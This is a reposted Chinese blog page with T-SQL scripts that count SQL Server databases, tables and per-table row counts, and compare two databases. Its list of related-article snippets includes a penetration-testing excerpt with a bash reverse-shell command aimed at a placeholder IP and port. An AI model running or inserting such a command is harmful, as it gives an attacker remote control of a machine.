sqlserver 数据库 的数据库个数统计 表个数统计 表的数据量统计(转载)
http://www.cnblogs.com/qinche/archive/2012/08/09/app.html
由于今天要监控数据,急需统计实例中1有多少库2库里有多少表3每个表有多少数据
--将写好的代码贴出来,用到如下的:
--sysobjects:在数据库每个对象(约束、默认值、日志、规则、存储过程)占一行。
--sysindexes:数据库中的每个索引和表在表中各占一行。
--syscolumns:每个表和视图中的每列在表中占一行,存储过程中每个参数在表中占一行。
select * from sysobjects
select * from sysindexes
select * from syscolumns
--1-----------统计有多少数据库,查出库里面多少表---------------
declare @str varchar(8000)
set @str=''
select @str=@str+
'union all select '+quotename(name,'''')+' ,COUNT(*)
from '+name+'.dbo.sysobjects where xtype=''U'''
from (select name from master.dbo.sysdatabases) a
set @str =' select ''0数据库总数'' as 库名,(select count(*) from master.dbo.sysdatabases)
as 表的个数 '+ @str+' order by 库名 '
print @str
exec(@str)
---2----------统计当前数据库的表的个数和表的数据记录数----------
set nocount on --不记录放回多少行受影响,这样速度快很多,是一种优化
if object_id(N'tempdb.db.#temp') is not null
drop table #temp
create table #temp (name sysname,count numeric(18))
insert into #temp
select o.name,i.rows
from sysobjects o,sysindexes i
where o.id=i.id and o.Xtype='U' and i.indid<2
select count(count) 当前库总表数,sum(count) 总记录数 from #temp
select * from #temp
set nocount off --打开返回计数
----3--------------比较两个数据库的表个数和数据量,两个库的数据结构相同-------
set nocount on
if object_id(N'tempdb.db.#temp1') is not null
drop table #temp1
create table #temp1 (name sysname,count numeric(18))
insert into #temp1
select o.name,i.rows
from Ljfcdata30.dbo.sysobjects o,Ljfcdata30.dbo.sysindexes i
where o.id=i.id and o.Xtype='U' and i.indid<2
--查询2
if object_id(N'tempdb.db.#temp2') is not null
drop table #temp2
create table #temp2 (name sysname,count numeric(18))
insert into #temp2
select o.name,i.rows
from Ljfcdata31.dbo.sysobjects o,Ljfcdata31.dbo.sysindexes i
where o.id=i.id and o.Xtype='U' and i.indid<2
select '30号' as 日期 ,count(count) 总表数,sum(count) 总记录数 from #temp1
union all select '31号' ,count(count) 总表数,sum(count) 总记录数 from #temp2
select i.name as 表名, i.count as '30号',j.count as '31号'
from #temp1 i Left join #temp2 j on i.name = j.name
order by i.name
set nocount off
go
---3 查询数据库的所有表的所有列------------------------------------------------------------------
---3 查询数据库的所有表的所有列------------------------------------------------------------------
declare @s varchar(8000)
set @s=''
select @s=@s+
( select 'select '''+name+''' as dbname,
a.name collate Chinese_PRC_CI_AS as tablename,
b.name collate Chinese_PRC_CI_AS as colname,
c.name collate Chinese_PRC_CI_AS as coltype,
c.length as coltype from ['+
name+']..sysobjects a
inner join ['+
name+']..syscolumns b on a.id=b.id
inner join ['+
name+']..systypes c on c.xtype=b.xtype where a.type=''U'''
as sql from master..sysdatabases as s where s.name=d.name)+' union '
from master..sysdatabases as d
set @s=left(@s,len(@s)-7) + ' order by dbname'
print @s
execute(@s)
--以上的脚本在sql2008R2中通过
sqlserver 数据库 的数据库个数统计 表个数统计 表的数据量统计(转载)的更多相关文章
- sql server的数据库个数、表个数及表的数据量统计
sql server的数据库个数.表个数及表的数据量统计 --由于今天要监控数据,急需统计实例中1有多少库2库里有多少表3每个表有多少数据 --将写好的代码贴出来,用到如下的: --sysobje ...
- Mysql分库分表导出导入和数据量统计测试
需求:添加创建了分库分表后,业务可能将数据已经写入,但未来得及接入到otter汇总库.接入汇总库前需要初始化这部分数据. 1.导出 ip_port_list ) len=${#ip_port_list ...
- (Oracle)数据量统计存储过程
本过程适用于Oracle数据量统计. create or replace procedure SP_GET_TAB_COUNT as v_tableName HDSD_TJ.Tablename%typ ...
- [源码分享] HIVE表数据量统计&邮件
概要: 计算HIVE BI库下每天数据表总大小及增量 输出: 总大小:xxxG 日同比新增数据量:xxxG 周同比新增数据量:xxxG 月同比新增数据量:xxxG 总表数:xxx 日新增表数:xxx ...
- Oracle普通表->分区表转换(9亿数据量)
背景介绍: 环境:Linux 5.5 + Oracle 10.2.0.4 某普通表T,由于前期设计不当没有分区,如今几年来的数据量已达9亿+, 空间占用大约350G,在线重定义为分区表不现实,故采取申 ...
- SqlServer快速获得表总记录数(大数据量)
--第1种 执行全表扫描才能获得行数 SELECT count(*) FROM BUS_tb_UserGradePrice --第2种 执行扫描全表id不为空的,获得行数 select count(u ...
- EXCEL-对筛选出(单独手动隐藏行还是在统计范围内)的表格数据进行统计
=SUBTOTAL(3,A1:A5) #计算筛选出的表格中A1:A5中有几个值. =SUBTOTAL(3,I71:I21447) ,在I71:I21447之间计数,会自动略去没有筛选上的隐藏单元格 ...
- 基于Mysql数据库亿级数据下的分库分表方案
移动互联网时代,海量的用户数据每天都在产生,基于用户使用数据的用户行为分析等这样的分析,都需要依靠数据都统计和分析,当数据量小时,问题没有暴露出来,数据库方面的优化显得不太重要,一旦数据量越来越大时, ...
- 大数据量高并发的数据库优化详解(MSSQL)
转载自:http://www.jb51.net/article/71041.htm 如果不能设计一个合理的数据库模型,不仅会增加客户端和服务器段程序的编程和维护的难度,而且将会影响系统实际运行的性能. ...
随机推荐
- ACM学习历程——UVA11234 Expressions(栈,队列,树的遍历,后序遍历,bfs)
Description Problem E: Expressions2007/2008 ACM International Collegiate Programming Contest Unive ...
- 微软企业库的 注入和依赖&nbs…
Working with ObjectBuilder This topic has not yet been rated - Rate this topic Retired Content This ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 关于 == 和 equals() 的区别
对于正在学习java的,以及入行不久的小伙伴们,在面试中经常会被面试官问到 " == 和 equals() 的区别 ?"的问题,你是否回答好了呢? 示例一: //两个基本类型数据 ...
- hdu1175 连连看
连连看 HDU - 1175 “连连看”相信很多人都玩过.没玩过也没关系,下面我给大家介绍一下游戏规则:在一个棋盘中,放了很多的棋子.如果某两个相同的棋子,可以通过一条线连起来(这条线不能经过其它棋子 ...
- 2014-10-5 NOIP模拟赛
祖孙询问 (tree.pas/c/cpp) [问题描述] 已知一棵n个节点的有根树.有m个询问.每个询问给出了一对节点的编号x和y,询问x与y的祖孙关系. [输入格式] 输入第一行包括一个整数n表示节 ...
- How to generate a CSR in Microsoft IIS 7
How to generate a CSR in Microsoft IIS 7 To help you generate your CSR for Microsoft IIS 7 we've pre ...
- pyinstaller打包多个py文件仍报错ModuleNotFoundError: No module named 'xxx'
[问题现象] 使用pyinstaller A.py -p b.py -p c.py打包多个文件 或者使用main.spec在Analysis配置好各个文件打包 打包成功后,运行main.exe仍然报错 ...
- 用SqlDataAdapter与datagridview配合实现快速CRUD
private void btnSave_Click(object sender, EventArgs e) { //把DataGridView的修改的数据保存到数据库中去. string connS ...
- SpringMVC之DispatcherServlet类
一.DispatcherServlet是什么 DispatcherServlet是前置控制器,配置在web.xml文件中的.拦截匹配的请求,Servlet拦截匹配规则要自已定义,把拦截下来的请求,依据 ...